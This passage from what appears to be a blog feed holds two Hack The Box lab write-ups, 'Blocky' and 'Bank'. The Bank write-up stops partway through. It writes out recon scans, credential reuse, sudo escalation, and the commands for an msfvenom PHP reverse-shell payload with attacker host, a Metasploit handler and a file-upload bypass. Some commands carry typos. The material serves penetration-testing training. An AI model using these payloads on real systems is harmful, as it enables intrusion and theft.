<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.33.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command for the dirb common.txt wordlist</p>
<pre><code class="lang-bash">gobuster dir -u blocky.htb -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.34.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see some there are <strong>WordPress</strong> directories (wp-admin, wp-content-wp-includes). There is also a couple of other interesting pages (/phpmyadmin and /plugins)</p>
<p>I use <strong>Nikto</strong>. </p>
<blockquote>
<p>Nikto is an Open Source web server scanner which performs comprehensive tests against web servers for multiple items, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. </p>
</blockquote>
<p>More info on the tool <a target="_blank" href="null"></a><a target="_blank" href="https://tools.kali.org/information-gathering/nikto">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.29.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command to launch the scan</p>
<pre><code class="lang-bash">nikto -host blocky.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.30.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I see a couple of directories that could be interesting (/wp-content/uploads/ and /wp-login.php)</p>
<p>Finally I use <strong>WPScan</strong>. WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.27.12.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command to launch the scan</p>
<pre><code class="lang-bash">wpscan --url blocky.htb -e
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.27.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.28.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We have one username, <strong>Notch</strong></p>
<h2 id="heading-step-2-visiting-the-web-page">Step 2 - Visiting the web page</h2>
<p>Let's visit the pages we found from the reconnaissance phase. Let's start by the main web page. It's a blog on Minecraft - <strong>BlockyCraft</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.38.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.39.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I look at the <strong>wiki</strong> page. Nothing interesting</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.19.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have a look at the <strong>/wp-content/uploads</strong> page. Nothing interesting</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.31.50.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>admin</strong> panel</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.32.27.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>as well as the <strong>phpMyAdmin</strong> panel</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.33.14.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to the <strong>/plugins</strong> folder and find two <strong>jar</strong> files. </p>
<blockquote>
<p>A <strong>JAR</strong> is a package file format typically used to aggregate many Java class files and associated metadata and resources into one file for distribution. JAR files are archive files that include a Java-specific manifest file. They are built on the ZIP format and typically have a .jar file extension </p>
</blockquote>
<p>I download both zip files on my Kali box</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.35.15.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use <strong>JD-Gui</strong> to be decompile the java files. JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. More info on the tool <a target="_blank" href="https://tools.kali.org/reverse-engineering/jd-gui">here</a></p>
<p>I launch the tool with</p>
<pre><code class="lang-bash">jd-gui
</code></pre>
<p>And then select the JAVA class I want to read - <strong>BlockyCore.class</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.04.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see a username and a password</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.36.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate back to <strong>phpMyAdmin</strong> and enter the credentials I just found. I have access to the database</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.37.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have a look at the table <strong>wp_users</strong> within the <strong>wordpress</strong> folder to see if I can get more information about the users of the blog</p>
<p>The SQL query</p>
<pre><code class="lang-bash">SELECT * FROM `wp_users`
</code></pre>
<p>which can be translated by select all the users from the table wp_users would only give us one result, <strong>Notch</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.40.27.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use <strong>hash-identifier</strong> to identify the possible hash. Hash-identifier is a software to identify the different types of hashes used to encrypt data and especially passwords. You can find more information <a target="_blank" href="https://tools.kali.org/password-attacks/hash-identifier">here</a>.</p>
<p>I launch hash-identifier with the following command:</p>
<pre><code class="lang-bash">hash-identifier
</code></pre>
<p>and copy/paste the hashed password I got earlier:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.41.04.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We see the hash is most likely to be an <strong>MD5 (Wordpress) hash</strong></p>
<h2 id="heading-step-3-using-the-port-22">Step 3 - Using the port 22</h2>
<p>I'm back on my terminal and connect using SSH</p>
<blockquote>
<p>The SSH protocol (also referred to as Secure Shell) is a method for secure remote login from one computer to another. It provides several alternative options for strong authentication, and it protects the communications security and integrity with strong encryption. It is a secure alternative to the non-protected login protocols (such as <a target="_blank" href="https://www.ssh.com/ssh/telnet"><strong>telnet</strong></a>, rlogin) and insecure file transfer methods (such as <a target="_blank" href="https://www.ssh.com/ssh/ftp/"><strong>FTP</strong></a>).</p>
</blockquote>
<p>More info <a target="_blank" href="https://www.ssh.com/ssh/protocol/">here</a> on the SSH Protocol</p>
<p>I use the following command</p>
<pre><code class="lang-bash">ssh notch@10.10.10.37
</code></pre>
<p>and I enter the password I found on the <strong>BlockyCore.class</strong> file earlier</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.41.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-looking-for-the-usertxt-flag"><strong>Step 4 - Looking for the user.txt flag</strong></h2>
<p>I'm now connected as Notch. I list all the folders/files</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.43.06.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>user.txt</strong> file! </p>
<p>To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<p>Now that we have the user flag, let's find the root flag!</p>
<h2 id="heading-step-5-performing-privilege-escalation"><strong>Step 5 -</strong> Performing Privilege Escalation</h2>
<p>I check the current access user with <strong>sudo</strong>. </p>
<blockquote>
<p>sudo is a program for Unix-like computer operating systems that allows users to run programs with the security privileges of another user, by default the superuser. It originally stood for "superuser do" as the older versions of <code>sudo</code> were designed to run commands only as the superuser</p>
</blockquote>
<p>More info on sudo <a target="_blank" href="https://en.wikipedia.org/wiki/Sudo">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.56.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I list the user's privileges with this command</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p>I use the same password I found previously</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.44.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see that Notch has unlimited privileges and can run any command on the system. I check the id. The <strong>id command</strong> in Linux is used to find out user and group names and numeric ID’s of the current user or any other user in the server</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-22.01.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I escalate to root using this command</p>
<pre><code class="lang-bash">sudo su
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.45.35.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-6-looking-for-the-roottxt-flag"><strong>Step 6 - Looking for the root.txt flag</strong></h2>
<p>I am now a <strong>root</strong> user and can navigate to the root folder</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.46.20.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>root.txt</strong> file! </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.48.59.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p>Congrats! You found both flags!</p>
<hr>
<p>Please don’t hesitate to comment, ask questions or share with your friends :)</p>
<p>You can see more of my articles <a target="_blank" href="https://www.freecodecamp.org/news/author/sonya/">here</a></p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a></p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<hr>
<p><strong>Other Hack The Box articles</strong></p>
<ul>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-lame/">Keep Calm and Hack The Box - Lame</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-legacy/">Keep Calm and Hack The Box - Legacy</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-devel/">Keep Calm and Hack The Box - Devel</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-beep/">Keep Calm and Hack The Box - Beep</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-optimum/">Keep Calm and Hack The Box - Optimum</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-arctic/">Keep Calm and Hack The Box - Arctic</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-grandpa/">Keep Calm and Hack The Box - Grandpa</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-granny/">Keep Calm and Hack The Box - Granny</a></li>
<li><a target="_blank" href="https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-bank/">Keep Calm and Hack The Box - Bank</a></li>
</ul>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper-2.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Bank ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-bank/</link>
                <guid isPermaLink="false">66ba3108c64c33cecab0e432</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Wed, 20 May 2020 09:18:26 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>. <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/04/Screenshot-2020-04-30-at-14.17.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Bank is a relatively simple machine, however proper web enumeration is key to finding the necessary data for entry</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>gobuster</li>
<li>Searchsploit</li>
<li>msfconsole</li>
<li>metasploit</li>
<li>meterperter</li>
<li>LinEnum</li>
</ul>
<p>Let's get started.</p>
<h2 id="heading-step-1-reconnaissance">Step 1 - Reconnaissance</h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h2 id="heading-port-scanning">Port scanning</h2>
<p>I will use Nmap (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. </p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-21.57.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v bank.htb
</code></pre>
<p><strong>-A:</strong> Enable OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increase verbosity level</p>
<p><strong>bank.htb:</strong> hostname for the Bank box</p>
<p>If you find the results a little bit too overwhelming, you can do another command to get only the open ports.</p>
<pre><code class="lang-bash">nmap bank.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-21.58.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 3 open ports:</p>
<p><strong>Port 22</strong>, Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding</p>
<p><strong>Port 53</strong>, Domain Name System (DNS)</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<h2 id="heading-directory-scanning">Directory scanning</h2>
<p>I use Gobuster. Gobuster is a directory scanner written in Go. More info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>. Gobuster uses wordlists on Kali which are located in the <strong>/usr/share/wordlists</strong> directory. I'm using wordlists from <strong>dirb</strong> and <strong>dirbuster</strong>, but you can download more wordlists from <strong>SecLists</strong> <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a></p>
<p>I use this command for the dirb common.txt wordlist</p>
<pre><code class="lang-bash">gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.06.10.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see some interesting folders. I do another directory scan with a different wordlist.</p>
<pre><code class="lang-bash">gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.06.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-2-visiting-the-web-page">Step 2 - Visiting the web page</h2>
<p>From the reconnaissance phase, I decide to start with port 80. It points to an Apache2 Ubuntu Default page. We need to set the hostname. We will follow the standard convention for the HTB machines, bank.htb </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.38.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I add bank on the /etc/hosts file</p>
<pre><code class="lang-bash">nano /etc/hosts
</code></pre>
<p>with</p>
<pre><code class="lang-bash">10.10.10.29     bank.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-21.55.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the file with</p>
<pre><code class="lang-bash">cat /etc/hosts
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.39.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When I navigate to bank.htb, I can see a login page now</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.07.14.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>From the gobuster reconnaissance, I found some folders. I navigate to <strong>/balance-transfer</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.03.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I have a look at a couple of files. All the files seems to have the full name, email and password encrypted. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.04.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I go back to the main page and I click on the <strong>Size</strong> tab to sort the transfers. I can see that one of the file is different</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.03.53.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When I click on the file, I see an error message at the top. The encryption failed for this file. I can see all the details in plain text</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.05.14.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I go back to the login panel and enter the credentials. I now have access to the dashboard of the HTB Bank. Nothing interesting on this page, so I move to the <strong>Support</strong> page</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.07.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>On the Support page, I can upload files. I will try to upload a payload</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.08.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-using-msfvenom-to-craft-an-exploit"><strong>Step 3 -</strong> Using MSFvenom to craft an exploit</h2>
<p>We will use MSFvenom, which is a payload generator . You can learn more about it <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/msfvenom/">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.09.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>But first, let's see on <strong><a target="_blank" href="https://www.metasploit.com/">Metasploit Framework</a></strong> which payload we could use to craft our exploit</p>
<p>We know that we need to create a <strong>reverse shell</strong>, which is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/Screenshot-2019-08-06-at-22.53.40.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://resources.infosecinstitute.com/icmp-reverse-shell/">https://resources.infosecinstitute.com/icmp-reverse-shell/</a></em></p>
<p>The reverse TCP shell should be for PHP and we will use <strong>Meterpreter</strong></p>
<p>From the Offensive Security website, we get this definition for Meterpreter</p>
<blockquote>
<p>Meterpreter is an advanced, dynamically extensible payload that uses <em>in-memory</em> DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.</p>
</blockquote>
<p>You can read more about Meterpreter <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-19-at-20.58.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I launch <strong>Metasploit</strong> and search for reverse TCP payloads. I use the following command</p>
<pre><code class="lang-bash">search php meterpreter reverse_tcp
</code></pre>
<p>I find an interesting payload, number 594, which is a <strong>Reverse TCP Stager</strong>. This payload injects the meterpreter server DLL via the Reflective Dll Injection payload and connects back to the attacker </p>
<pre><code class="lang-bash">payload/php/meterpreter/reverse_tcp
</code></pre>
<p>Now let's go back to <strong>msfvenom</strong> to craft our exploit</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.10.36.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command</p>
<pre><code class="lang-bash">msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw &gt; HTBbankshell.php
</code></pre>
<p>I then check with <strong>ls</strong> if the file has been created</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.10.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and I cat the file to see the exploit with</p>
<pre><code class="lang-bash">cat HTBbankshell.php
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.11.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I go back to the support page. I add the title, the message and upload the file on the form</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.12.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I click on the submit button and I see an error message. The file type doesn't seem to work</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.14.10.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the source code and I see a comment that indicates that the file extension <strong>.htb</strong> is needed to execute php for debugging purposes only</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.14.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then change the extension of my payload from <strong>HTBbankshell.php</strong> to <strong>HTBbankshell.htb</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.15.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>My file is now ready to be uploaded on the support page</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.16.02.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And it seems to work! The payload has been uploaded on the support page</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.16.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-setting-up-a-listener-with-metasploit"><strong>Step 4 -</strong> Setting up a listener with Metasploit</h2>
<p>Back on Metasploit where I use the following command to set the payload handler</p>
<pre><code class="lang-bash">use exploit/multi/handler
</code></pre>
<p>I first set up the payload</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> payload php/meterpreter/reverse_tcp
</code></pre>
<p>Then the LHOST</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> lhost 10.10.14.36
</code></pre>
<p>And finally the LPORT</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> lport 4444
</code></pre>
<p>If we check the options now, we should see that everything is set up</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.18.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Let's run the exploit. </p>
<p>After this message appears</p>
<pre><code class="lang-bash">Started reverse TCP handler on 10.10.14.36:4444
</code></pre>
<p>go back to the browser and refresh the page where the malicious script is hosted</p>
<pre><code class="lang-bash">bank.htb/uploads/HTBbankshell.php
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.17.09.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You should then see a Meterpreter session created</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.19.20.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I start by gathering some information with <strong>getuid</strong> which returns the real user ID of the calling process and <strong>sysinfo</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.19.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-5-looking-for-the-usertxt-flag"><strong>Step 5 - Looking for the user.txt flag</strong></h2>
<p>I start navigating to root and list the folders/files.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.20.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I move to the <strong>home</strong> directory with </p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> home
</code></pre>
<p>And I can see a user called <strong>chris</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.20.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I move to the <strong>chris</strong> directory and when I list the files...</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.21.06.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find the <strong>user.txt</strong> file! To read the content of the file I use the command</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<p>Now that we have the user flag, let's find the root flag!</p>
<h2 id="heading-step-6-performing-privilege-escalation">Step 6 - Performing Privilege Escalation</h2>
<p>I try to navigate to the root folder and the access is denied</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.33.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I will use <strong>LinEnum</strong> to enumerate more information from this machine. <strong>LinEnum</strong> is used for scripted local Linux enumeration and privilege escalation checks. More info <a target="_blank" href="https://github.com/rebootuser/LinEnum">here</a></p>
<p>I fetch LinEnum from <strong>GitHub</strong> with</p>
<pre><code class="lang-bash">wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.43.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check with this command if the script has been correctly fetched</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.43.17.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command</p>
<pre><code class="lang-bash">chmod 777 LinEnum.sh
</code></pre>
<p>to change the file permission and make it readable, writable and executable by everyone</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.43.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Within meterpreter I check the location of the file with</p>
<pre><code class="lang-bash">lls -S <span class="hljs-string">"LinEnum.sh"</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.07.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I start a php server on another terminal with</p>
<pre><code class="lang-bash">php -S 10.10.14.36:4444
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.45.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I type the following command to get a standard shell on the target system</p>
<pre><code class="lang-bash">shell
</code></pre>
<p>I spawn a TTY shell with</p>
<pre><code class="lang-bash">python3 -c <span class="hljs-string">'import pty;pty.spawn("/bin/bash/")'</span>
</code></pre>
<p>And I transfer the file to the machine with</p>
<pre><code class="lang-bash">wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh
</code></pre>
<p>where I copy the file from my Kali box to the machine temp folder</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.49.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then navigate to the temp folder to check if the file has been correctly moved</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-23.17.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then run the script with</p>
<pre><code class="lang-bash">sh ./LinEnum.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.52.07.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The scan gives me a lot of information. I look for the <strong>interesting files</strong> section. I check the <strong>SUID files</strong> section. <strong>SUID</strong> is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it</p>
<p>I spot an interesting file</p>
<pre><code class="lang-bash">/var/htb/bin/emergency
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-17-at-22.53.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate to <strong>var/htb/emergency</strong></p>
